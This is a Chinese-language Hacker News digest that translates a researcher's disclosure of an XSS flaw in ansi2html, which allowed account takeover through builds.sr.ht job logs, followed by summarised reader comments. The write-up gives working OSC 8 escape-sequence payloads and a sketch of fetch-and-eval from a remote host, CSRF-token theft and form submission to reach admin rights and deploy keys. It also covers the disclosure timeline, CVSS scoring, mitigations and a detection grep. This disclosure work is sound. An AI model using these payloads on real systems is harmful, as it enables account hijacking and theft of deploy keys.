Hacker News 中文摘要

RSS订阅

Sourcehut 构建日志现 ansi2html XSS,账户可被接管 -- Sourcehut account takeover via build logs (XSS in ansi2html)

作者最近冒出个自认为不错的主意:搭一个 sr.ht 实例,付费让人托管项目,于是从克隆 SourceHut(sr.ht)的一小部分仓库开始动手。他照例声明,这项研究没有使用 NLP,错误都归自己。SourceHut 由多个微服务组成,主要有 meta.sr.ht、git.sr.ht、hub.sr.ht 和负责 CI 的 builds.sr.ht,还有较冷门的 mirror.sr.ht,正逐步迁往 mirror.srht.network,存放为各微服务预编译的软件包。作者喜欢这种设计,因为只要发行版版本与旗舰实例一致,任何机器都能轻松起步。

正文

欢迎来到我的第一篇高影响力漏洞写作!

我喜欢好故事,所以先讲点背景。我最近有个“好”主意(我知道,我知道,我该停止这些想法了):搭一个 sr.ht 实例,给托管项目的人付钱。想看或者想在社交上骂我,可以看时间线里的无耻广告。

总之,故事。第一步是克隆 sr.ht 仓库的一些最小子集,开始改。

没有 NLP

我今年倾向于在漏洞研究提交里加上这句话。随你怎么理解:

本研究未使用 NLP。错误都是我自己的。

结构

SourceHut 由若干微服务组成,主要是 meta.sr.ht,可能还有 git.sr.ht 或 hub.sr.ht(旗舰实例托管在 just sr.ht)。当然还有 builds.sr.ht,也就是 CI。

还一个不太出名的是 mirror.sr.ht(正慢慢迁到 mirror.srht.network),里面有各种微服务的预构建包。

我得说我喜欢这种方式,因为只要机器和旗舰实例的发行版版本完全一致,就能轻松开始。

如果你喜欢的项目目前推荐用 curl|sudo bash 安装,或者“就在这个文件夹里启动 Claude”(原文如此!),请考虑另一个同样有效的选项:用真正的软件包向最终用户分发软件。

构建 Alpine 软件包

如果你用别的发行版,甚至不同版本的 Alpine,就有点只能靠自己了。有 sr.ht-apkbuilds 仓库,你可以 fork 它,用你的签名密钥、Alpine 版本和镜像。还有 sr.ht-pkgbuilds 用于 Arch,但它现在基本没人维护。

这涉及用 builds.sr.ht 引导这些包。我试着看构建日志的页面源代码,因为它总滚到我不要的位置,让我有点烦。

然后我发现了这个:一大堆重复的 .ansi38-150150150 { color: #969696; }。

我决定仔细看看它是怎么做的,也许修一下。你看,我喜欢 SourceHut。我能看到这里浪费了不少计算和带宽。我想让他们发财,好让其他人效仿,而有些没必要的浪费在拖慢这件事。

我看了看把 ANSI 转义码转成 HTML 的逻辑,提交了 issue。那时仓库已经一年没动静了,所以我决定动手,因为我自己在不专注某个项目时也喜欢收到好补丁。这很快促成了修复这个问题的 PR。

鉴于我的 CTF 背景,我开始更仔细地研究 ansi2html,找更多 bug(尤其是我正准备自己托管它!)。除了解析颜色转义序列,它还支持自动链接和 OSC 8 超链接。因为代码结构还不太好,我读了那个很棒的 XSS 速查表(现在永远在我的书签里了)后,写出了恶意输入:

发送 printf '\33]8;;https://example.com/"/autofocus/tabindex="1"/onfocus="alert\xss`\7Nothing to see here\33]8;;\7' | ansi2html`

会生成一个 a 标签,其 href 属性为 https://example.com/,并带有 autofocus、tabindex="1"、onfocus="alert`xss`",链接文字是“Nothing to see here”。

而 printf '\33]8;;javascript:alert\xss`\7Nothing to see here\33]8;;\7' | ansi2html`

会生成一个 href 为 javascript:alert`xss` 的链接,文字是“Nothing to see here”。

前者值得解释。不知为何,它会解析成和下面相同的 DOM 树:一个带 href="https://example.com/"、autofocus、tabindex="1"、onfocus="alert`xss`" 的 a 标签,内容是“Nothing to see here”。

所以如果你能让 ␛]8;;https://example.com/"/...␇ 出现在任务日志里——你可以的,甚至不需要账号,只要给开启 CI 的公开邮件列表发补丁,或者控制任何会被打印到日志里的远程资源——恭喜,你刚在 https://builds.sr.ht/~someone-else/job/1234567 创建了一个构建任务,它会在每个查看它的浏览器里执行你的 payload。你可以自己提交任务,但那需要旗舰实例的付费账号。而且目前没有匿名支付。

武器化(别在家尝试)

实际 payload 可以从攻击者网站下载,比如 eval(await (await fetch('https://example.com')).text()),但这里推测一下它能做什么。

构建日志页面已经包含 CSRF token。你可以用 document.querySelector('[name=_csrf_token]').value 读它,或者直接用已有的表单(“Resubmit build”按钮的一部分),像 document.querySelector('[name=manifest]').value=某个东西;document.forms[0].submit()。一旦让管理员查看它,你大概就能给自己管理员权限。更糟的是你能访问所有部署密钥,而在 builds.sr.ht 上,有 sr.ht 自己的部署密钥(其他实例可能没有)。

把这部分加入 payload 留给好奇的读者当练习。我怎么强调都不为过:记住只在你自己的基础设施上测试蠕虫。绝不要在 production 上,即使是你的 production。

这里如何做纵深防御?

通过限制 Content-Security-Policy。我不是专家,但去掉 'unsafe-inline' 会是好的第一步(这建议本身没用,因为构建日志页面自己也用内联脚本,用于滚动)。

通过额外净化(SourceHut 加了,但过度了——现在没有颜色了!)。

以及把 ansi2html 的代码重构成某种有状态转换自动机。

我立刻给 ~sircmpwn/sr.ht-security@lists.sr.ht 发了邮件,解释整个问题,附上至少缓解最糟部分的修复。

Drew(我能叫你 Drew 吗?我想我们在 Source 里都是兄弟)最后给 builds.sr.ht 打了补丁,自动净化 ansi2html 的输出。这也是个好选择。

上游

然后我联系上游(也许有点晚?确切时间线在下面)。ansi2html 是被 Randall Munroe 那幅著名且已经被说烂的漫画提到的项目之一。它放在 GitHub 的 pycontribs 组织下,该组织郑重声明:

PyContribs 的主要目的是确保不同的 Python 相关项目保持维护。

我联系了过去 5 年左右贡献者图表上的头两个人,从 git 历史里找的邮箱,为了不公开 issue,尽管 SourceHut 的公告已经把它公开了。

我认为是“主要”维护者的那位(Sorin Sbarnea)至今没回复(他可能在度假),另一位(Sebastian Pipping)回复了。消息很隐晦,对我不常见:“两周后给我发邮件”。

于是我耐心等了两周,忙着我另一个刚起步的生意(让我试试,行吗?),然后发了邮件。

帮助上游

原来 Sebastian(我能叫你 Sebastian 吗?)是个很酷的人,他发现因为仓库 ACL 的某些问题,需要我帮他。我们最终把 ansi2html 从停摆中救活,更新了一些过时的脚本,一起在 PyPI 上发布了大概 3 到 4 个 ansi2html 版本。

我尽量帮忙,但当时我的博士学业有点事,所以有些延迟。

提交 CVE

先说个热观点:CVSS 评分是个谬误:它应该按每个产品分开,而不是一个根因代码路径只有一个分数。

CVSS 的目的毕竟是给下游用户提供有用信息,决定是否打补丁。研究者有动机给高分。项目有动机压低。他们确实想修复,但想避免文书工作,以及到处传递的保密舞蹈(我完全理解!)。

问题是,不是所有软件生来平等,像 libcurl 这样的库尤其如此。

CVSS 4.0 至少比 3.x 好一点。它现在区分“脆弱系统”和“后续系统”。对 XSS 漏洞,典型做法是说 web 服务是脆弱系统,浏览器是后续系统(这有点道理,因为 bug 在服务里,但它先影响受害者浏览器,再攻击 web 服务本身)。

我最初想出的向量被 VulnCheck 改了。不知道为什么,也许能改回去?也许不值得麻烦。让我知道你的想法。我还想把这篇博客加到 CVE 数据库,但可能需要查怎么弄。

  • AV:N 攻击向量:网络
  • AC:L 攻击复杂度:低(不需要猜测,不需要绕过或同步攻击)
  • AT:N 要求:无(相对于需要特定配置)
  • PR:N 所需权限:无(只需发邮件?如果没 lists.sr.ht 可能也算低)
  • UI:P 用户交互:被动(受害者必须访问开启 JS 的网站——唯一的问题,容易解决)

脆弱系统(builds.sr.ht / 整个 sr.ht)

  • VC:H 机密性影响:高(确实导致直接、严重的机密性损失——泄密)
  • VI:H 完整性影响:高(可以以受害者身份提交恶意构建任务,并访问部署密钥)
  • VA:N 可用性影响:无(不能搞垮整个服务,除非堵塞构建 worker 算)

后续系统(受害者浏览器)

  • SC:L 机密性:低(对严格限定范围的机密有有限访问)
  • SI:L 完整性:低(能伪造严格限定范围的请求)
  • SA:N 可用性:无(不比直接访问更多)

补充

  • AU:Y 可自动化:是(可蠕虫——受害者能立刻攻击他人,扩大范围)
  • R:I 恢复:不可恢复(用户不能删除构建任务,只能隐藏)
  • V:C 价值密度:集中(单个实例托管许多有价值的项目和部署密钥)
  • RE:L 响应努力:低(基本缓解:代理层插入 CSP 头)
  • U:Amber 紧迫性:琥珀(中等紧迫:对基础设施构成直接危险,但已存在多年)

确切影响可以也应该由实际用户争论(毕竟 SourceHut 吹嘘没有 JavaScript 也运行良好),我会主张高或严重,而不只是中等,因为如果我是黑帽,只要 Drew 访问一个受影响的、开启 JS 的构建日志就够了,我就能以他名义提交构建任务并访问 SourceHut 部署密钥。不过不确定怎么变现或脱身。别这么做,孩子们。没有兴奋值得这样。

受影响版本

ansi2html >=1.7.0, <1.9.4,builds.sr.ht >= 0.40.0, < 0.105.1

妥协指标

检查你的原始构建日志里有没有 ␛]8;;https://example.com/"/...␇ 或 ␛]8;;javascript:...␇。在 Bash 里,前者大概是 grep $'\33]8;[^\7\33]*"'

完整时间线

我不太为这个时间线骄傲,但嘿,至少现在都修好了,没有(?)人尝试使用它的记录。我会包括官方 Arch Linux 仓库和 sr.ht Alpine Linux 仓库,因为这两个系统都曾被推荐过。

  • 2019-03-11:ansi2html 被加入 builds.sr.ht,然后加入 sr.ht-apkbuilds
  • 2021-09-03:bug 被引入上游 ansi2html
  • 2022-02-08:受影响版本被打包给 Alpine,并在旗舰实例上线
  • 2022-07-10:受影响版本被打包给 Arch Linux
  • 2026-07-17:我可能买了些域名
  • 2026-07-31:我开始在 SourceHut 上工作
  • 2026-08-01:我向上游 ansi2html 提交了 issue 和修复 TrueColor bug 的 PR。我准备了 ansi2html 的初步补丁,发给 ~sircmpwn/sr.ht-security@lists.sr.ht。
  • 2026-08-04:bug 在 builds.sr.ht 代码中被缓解;我收到 Drew DeVault 确认漏洞的邮件。Drew 公开感谢我。谢谢!我很感激!
  • 2026-08-06:bug 报到上游,立即 ACK
  • 2026-08-20:ping 上游
  • 2026-08-22:Sebastian 回复,我们安排何时处理
  • 2026-08-24:在能处理实际漏洞前,试着把 ansi2html CI 拼起来
  • 2026-08-29:发布 1.9.3 版,没修漏洞
  • 2026-08-31:我在帖子里暗示我在做一个给项目所有者付钱的软件 forge
  • 2026-09-02:最终修复的 PR 推送,1.9.4 发布,修复漏洞
  • 2026-09-05:Arch Linux 把 ansi2html 更新到修复版
  • 2026-09-xx:生活继续,我多接了点活养活自己
  • 2026-09-23:这篇博客(其实是 -09-24,因为已经过午夜了。叹气。)
  • 2077-??-??:盈利……?

注意,即使仔细审计 ansi2html 也救不了 SourceHut,除非每次升级都重做。builds.sr.ht 保持脆弱(差不多正好)4.5 年。

感谢

感谢上帝让我远离黑帽诱惑。Danonek123 陪我。我爱你。

总结

↩︎

你看,漏洞研究不必是马戏团,或安全剧场,或对抗官僚的律师大战。但那样你可能也不会更好。

除了 CTF 和次要会议邀请(以及实习时在 Antmicro 被允许做点 VR,我仍感激),我到目前为止从漏洞研究中赚了 0.00€(华氏 $0.00)。如果你想支持我(让我有更多时间做 VR),考虑买点东西。我更喜欢这个而不是捐款(捐款也行!)。我也提供专业安全咨询。

我还没完!还有更多要来,虽然可以说没那么严重。不想错过就订阅我的 RSS。

评论

社区总体赞赏漏洞披露与上游修复工作,同时对构建日志极易被匿名触发及部署密钥暴露表达震惊;少数人质疑主流项目更安全迷思,并有人调侃 HN 流量效应。

认为修复上游项目和披露工作值得称赞

  • 赞扬作者修复 python 上游及撰写严重漏洞分析,时间线无尴尬,希望获酬(少数人)
  • > 修复上游项目的工作值得称道,时间线没什么可尴尬的(@JamesCoyne)

认为构建日志攻击面极易被匿名触发且清理困难

  • 指出通过公开邮件列表发补丁即可在 CI 日志注入恶意控制序列,无需账户,令人震惊;构建输出净化几乎不可能不破坏格式,应始终视为不可信(较多人)
  • > 仅凭向邮件列表发恶意补丁就能触发,简直疯狂(@nsagent)

对部署密钥在 CI 环境中暴露感到意外

  • 最意外的是构建服务中留有自身部署密钥,理解小团队难处但呼吁尽快控制泄露风险(少数人)
  • > 能访问所有部署密钥,尤其是 sr.ht 自身的,是最出乎意料的(@vhantz)

质疑主流产品必然比小项目更安全的流行认知

  • 提出流行观念“无论项目大小总该用主流产品因漏洞更易处理”可能是误区,评估时应结合项目历史和威胁暴露(少数人)
  • > 认为小项目不如主流安全是常见误解,是否真该如此值得商榷(@serhack_)

认为终端超链接等控制序列无用且应被剥离

  • 批评终端隐藏真实网址的 OSC 8 超链接老旧无用,写转换工具时彻底剔除控制序列;相比之下手册页内部链接缺失更该解决(少数人)
  • > 复制粘贴网址太老土,实际网址被掩盖不好,我写工具时清掉了所有控制序列(@Joker_vD)

认为有主见的维护者对开源生态是好事

  • 即便因反 LLM 政策停用服务,仍保留订阅,认为像 Drew 这样有主张的维护者因在乎而能做出更好软件,是开源净利好(少数人)
  • > 有主见的维护者(如 Drew)是开源的正面力量,因其关心故软件更优(@vhantz)

调侃 HN 流量再次搞垮服务

  • 有人吐槽经典 HN 效应导致服务不堪重负重现(代表社区情绪,@rvz)

有价值的补充

  • 构建日志净化实际不可行且不破坏格式,正确做法是假设所有构建输出不可信。
  • 终端到 HTML 转换时可激进剥离 C0/C1 及 OSC 等序列而不损内容,手册页间内部链接仍缺失才是遗憾。